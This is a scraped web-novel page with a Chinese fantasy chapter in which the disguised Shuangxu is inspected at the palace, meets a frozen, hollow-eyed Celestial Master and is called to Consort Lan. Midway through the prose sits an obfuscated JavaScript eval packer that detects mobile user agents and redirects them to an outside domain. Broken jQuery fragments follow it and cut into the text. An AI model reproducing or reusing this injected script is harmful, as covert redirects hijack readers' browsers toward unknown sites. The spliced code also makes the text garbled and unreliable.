默认冷灰
24号文字
方正启体

6. 天师

作者:Valori本书字数:K更新时间:
    天边艳阳与朱红宫墙渐渐融为一体,一只麻雀落在瓦上,歪着小脑袋打量着下方经过的身影,突然大声啾鸣一声。


    它的个头实在太小,又太不起眼,路过宫人无人发现它是祭典上随白鹤翱翔的鸟雀之一,只匆匆一瞥,便移开了目光。


    唯独跟在福公公身后的霜序,悄悄仰起脸,朝小雀儿眨了眨眼。


    麻雀好似看懂了,眼珠骨碌一转,扑棱起翅膀飞向远方。


    看着那小小灰点儿消失在暮色里,霜序眼中浮现出忧色,又赶紧掐了掐手心,垂下眼睫。


    约莫一炷香前,德玄帝在武贞殿应允了他与楚明渊的婚事。


    随即,命福公公带他去后院测算八字、查验身体,独留楚明渊在殿内商议要事。


    他不懂宫里人话里有话的弯弯绕绕,起初并未多想,只期盼能早些完成这些繁琐仪程;可自踏出大殿,福公公的目光便时不时从眼角扫到他身上,他这才明白过来——


    德玄帝是故意将他与楚明渊分开,以此试探自己。


    福公公的确一直在暗中观察身后的“少女”。


    “她”明显不曾受过任何规训,步履间总带着几分跳脱,裙裾随着步子轻扬飘舞,如蝶翩跹。


    可若当真生于苦寒贫瘠之地,又如何养得出这般细嫩无瑕的好皮肉?


    福公公脚步一转,引霜序步入内苑。


    这小姑娘叶片大小的一张脸上挤满了惶惑与不安,明眸怯生生地四下张望;但当二人穿廊过院,途经那些连见惯世面的王孙贵胄都要驻足惊叹的华美宫阙时,霜序仅是一瞥而过。


    仿佛这满目琳琅,于他皆如过眼云烟。


    待进入内苑,等候在此的嬷嬷把他浑身上下摸了个遍,连肌肤上有几颗小痣都一一记下,却愣是没在霜序身上找出一丁点破绽。


    他们不知道这是因为霜序对他们设下了障眼法,只心下嘀咕:


    难道那位天生带煞的五皇子,外出走一遭竟真转了运,不仅死里逃生,还白得个绝世佳人?


    一抬眼,福公公瞥见那神秘美人的双目。


    方才霜序被嬷嬷拉入屏风后面扒了个精光,此刻嬷嬷出来回话,他仍立在台子上,双臂高高举着,侧过脸惴惴不安地望向屏风外的二人。


    福公公只扫了一眼屏风上方那段纤长雪颈,就将目光上移,与霜序对视。


    尽管嬷嬷手法粗野地将他脸颊都搓红了,他眼中依旧寻不见半点羞恼,反令福公公莫名联想到一只大黄狗——还是那种挨了打也要甩着尾巴冲人傻笑的狗。


    他赶忙晃了两下脑袋,驱散这古怪的念头。


    至此,他对霜序的疑虑已消散大半。


    天底下没有哪家会像她这般错漏百出,而若这全是她的表演,一个心思如此缜密的高手,又怎会甘心屈从于五皇子?


    不识金银为何物、被粗暴对待也浑然不觉羞辱,这姑娘身上不谙世事的天真,倒真像是与世隔绝的山精雪魅。


    “姑娘,请下来吧。”


    福公公清了清嗓子,和气地道,“方才多有得罪,万望海涵。老奴也是谨守宫规,为皇家安危着想。”


    霜序松了口气,乖乖应了一声,一面穿回衣裳,一面又想起了楚明渊。


    入宫前夜,他翻来覆去睡不着,楚明渊看出他的忐忑,便宽慰他说,宫中乐见他娶个平民女子,自己只需随心而行,反而比刻意伪装更能取信于人。


    从福公公的反应来看,楚明渊说得果然有道理。


    想起他,霜序的心安定了几分,加快动作扯起衣裙。


    尚未穿戴整齐,便见门帘晃动,一名宫女手捧一套白衣走入,说是兰妃娘娘派人送给霜序的。


    嬷嬷摸了摸料子,斜觑一眼,见霜序半个头还卡在衣领里,一双眼却“唰”地亮了起来,眼巴巴地盯着那套新衣。


    “给她吧。”嬷嬷嗤笑一下。


    霜序如获至宝地接过,小心地摸了摸。


    这身衣裳用料极好,内衬棉布柔软,外层覆着轻薄的纱,既保暖又舒适,款式也简洁大方。


    他一看就心生欢喜,忙不迭地往头上套,结果又被衣领和腰带缠缚住了。


    几个宫女瞧着他手忙脚乱的样子,不禁掩口轻笑,纷纷上前替他整理。


    霜序被围在中间,终于显出些羞涩,蚊子似的小声道谢。


    他这边刚换好衣裳,便听前殿传来一阵诵经声。


    宫女和嬷嬷闻声,脸色皆是一变,匆匆踱向正殿,齐刷刷跪倒在地;霜序学着众人的动作将头贴于手背之上,再悄悄抬起眼偷看。


    随着诵经声渐近,殿门外走入两个白袍男子。二人相对而立,手臂相交,交叠的臂弯上抬着一个人。


    这姿势古怪的三人身后还跟着七八个同样装束白袍人,其中一人抛下一块金丝软垫,那被抬着的人这才被缓缓放下,踏在软垫之上。


    “起。”


    为首的白袍男子淡声开口,声音平直无波,“我等奉旨前来,为未来的皇子妃净身祈福。”


    “是是是,有劳天师大人,有劳各位神官……”嬷嬷小鸡啄米似的点头应和。


    可一直起腰,她的表情就变了,嘴角刻薄地向下撇去;其余宫女也跟着她起身退至一旁,方才的敬畏荡然无存,甚至隐隐从掩口的指缝间泄出几分轻蔑。


    于是满苑上下,只剩下那没见识的乡野姑娘仍紧张得两股战战。


    天师似对周遭众人态度的变化浑然不觉,他的眼睛自踏入院中起,便牢牢锁在霜序面上,手中拂尘轻扬,朝霜序的方向扫来。


    众目睽睽之下,未来的皇子妃做出一个怪异的举动——


    他浑身一抖,双手飞快地背到身后,在自己臀后轻拍一下,又慌忙放下。


    嬷嬷鄙夷的目光顿时从天师移到了霜序身上。


    想必今日之后,关于五皇子妃举止粗野、难登大雅之堂的流言,便要插上翅膀飞遍宫闱了。


    此时此刻的霜序,却是全然无暇顾及自己日后的名声。


    他几乎是用尽全力,才没有当场现出原形,扭头逃窜。


    不为别的,只因他认了出来,眼前这位天师,正是今日祭坛上跳祭舞之人。


    他与其余白袍神官称呼不同,衣饰亦是与众不同,在昭天监的地位定然非同小可。


    霜序当真是欲哭无泪。


    他觉得自己就像一只初生的小虾米,不过刚入江河,就猝不及防地迎头撞见了噬人的鲨鱼。


    当拂尘扫上肩头,他视死如归地闭上了眼,屏住呼吸。


    出乎意料的是,什么都没发生。


    没有异光,没有痛楚,没有半分灵力波动。


    霜序怔忡一瞬,睁开眼睛。


    直到此刻,他才敢正眼看向天师。天师仍穿着祭典上那袭白纱,脸颊线条被面纱遮蔽,看不真切。


    他的双眼虽是直勾勾地盯着霜序,眼神却漆黑空洞,霜序望进那双眼睛,恍惚觉得自己面对的是一具空壳。


    心头一疼,他垂眼避开天师的注视。


    这一低头,倒叫他微微一愣。


    天师赤足而立,裸露在外的足踝早已冻得青紫僵硬。


    他原以为,天师是体质特殊或有神力护体,才穿得如此单薄;如此看来,他分明同常人一样需要衣物御寒,为何要这般冻着自己?


    而那几个抬他进来的白袍男子似是对他十分恭敬,甚至不愿让他的双足沾染尘土,又为何偏偏对他的寒冷视若无睹?


    满腹疑问之际,天师已完成了全套“祛晦”。


    他的面上依旧无悲无喜,亦不曾开口,由白袍男子代其宣布礼成。


    见那两人蹲下身,欲再将天师抬起离去,霜序终于犹豫着唤道:


    “等等,天……天师大人。”


    天师恍若未闻,眼皮都没抬一下。


    反倒是白袍神官停住动作,天师才反应过来,迟缓地面向霜序。


    “天师大人,你不冷吗?”霜序说,“我正好有多的衣裳,可以给你披一披,挡挡风。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483855|201907||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    此话一出,除了天师,所有人皆不可思议地瞪向霜序。


    霜序面露窘迫,抿紧了唇。


    他自然明白此话说得唐突,但自祭典至今,天师穿着这身装束冻了一整日,若再顶夜风而归,定然会病倒。


    他怎么看都觉得天师的状况实在古怪,暗自疑心他是否遭受白袍神官胁迫或苛待,故而几番挣扎,还是问出了口。


    天师漆黑眸子里微光一闪,似乎直到此时,才真正看了一眼面前的人。


    他日日近乎赤裸地行于人前,早已习惯了众人藏在礼节下的鄙夷目光,此刻面对的这双眼睛,却是清澈澄明,仿若一泓清泉,一眼就能忘到底,其中没有怜悯,没有欲望,唯有关切。


    很久以前,他曾经见过这样的眼睛。


    那是六七个尚在襁褓中的婴儿,整整齐齐地并排躺在祭台上,懵懂地看着他。


    念及那些婴儿的结局,他胃里便一阵翻搅,再看这双相似的眼睛,他几乎被其散发的光芒刺痛,慌忙移开脸。


    霜序的提问被众人又一次视作乡下姑娘的无知,默契地忽略了。


    白袍神官很快重新抬起天师,出门登轿离去。


    一行人离开后,殿门外却还停着一顶青绸小轿。


    轿旁立着一位眉眼温婉的宫装女子,她福身对霜序一礼,柔声道:“姑娘万福。五殿下尚在宫中议事,我家兰妃娘娘想先请姑娘移步慈清宫一叙。”


    霜序才放松片刻,闻言悚然一惊,结结巴巴地问:“现……现在去吗?”


    “是。”


    “就我自己去吗?我能不能等楚……殿下回来再一起去?”他虚弱地挣扎。


    女子微笑:“天色已晚,恐怕来不及哦。”


    霜序不愿让兰妃觉得自己有意推拒,只得硬着头皮爬上了轿子。


    轿子一晃,他的额头“咚”地撞上侧壁,疼得呲牙咧嘴。


    他愁眉苦脸地揉着额角,努力回忆关于兰妃的只言片语。


    这么一想,他才蓦然惊觉,与楚明渊相处的这些日子里,几乎都是自己在叽叽喳喳说个不停,楚明渊却鲜少主动提起自己的事。


    仔细想来,他除了知晓兰妃是楚明渊的生母,其余竟是一无所知。


    像是被狠狠刺了一下,他叹了口气,沮丧地缩成一团。


    兰妃是楚明渊极其重要之人,那么于他而言,自然也是不一样的。他是真心希望自己能讨她欢心,渴望她也能像楚明渊那样接纳自己这只异类。


    可他实在不懂该如何讨人喜欢,思来想去,只觉自己哪儿哪儿都不够好。


    “姑娘因何叹气?”轿外传来女子从容温和的询问。


    霜序心中一动,抬手掀起轿帘一角,小声问道:“姐姐,我该如何称呼你?”


    “奴婢名唤谷秋。姑娘不必客气,奴婢会尽力为姑娘分忧。”


    谷秋的嘴角虽也始终带着笑意,仪态语气却不似福公公那般恭顺得谄媚,十分得体从容。


    霜序从她沉静稳重的气度上依稀看到了楚明渊的影子,生出几分亲近之意,开口问道:


    “谷秋姐姐,你可知兰妃娘娘平素喜欢什么?”


    谷秋脚步微顿,转头望去。


    ——依照宫规,私下打听主子喜好实属大忌。


    霜序正探出半个脑袋来,她正面瞧见那张脸,先是不禁感慨这姑娘当真是生得一副顶好的容貌,再看他的眼睛,又觉那眼神像极了一只小兽,正因初到生地而惴惴不安。


    “姑娘放心便好,”谷秋微微一笑,“娘娘一定会喜欢你的。”


    ——


    过了不久,轿子停了下来。霜序一张小脸紧绷绷的,规规矩矩地小步下轿。


    谷秋正欲引他入宫,忽然惊讶道:“娘娘?您怎么出来了?”


    霜序一震,慌忙顺着她的视线望向宫门。


    “在屋里也无事,索性出来走走。”


    冷清而略带沙哑的女声徐徐传来,似一盏散发着幽香的清茶,闻之忘俗。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)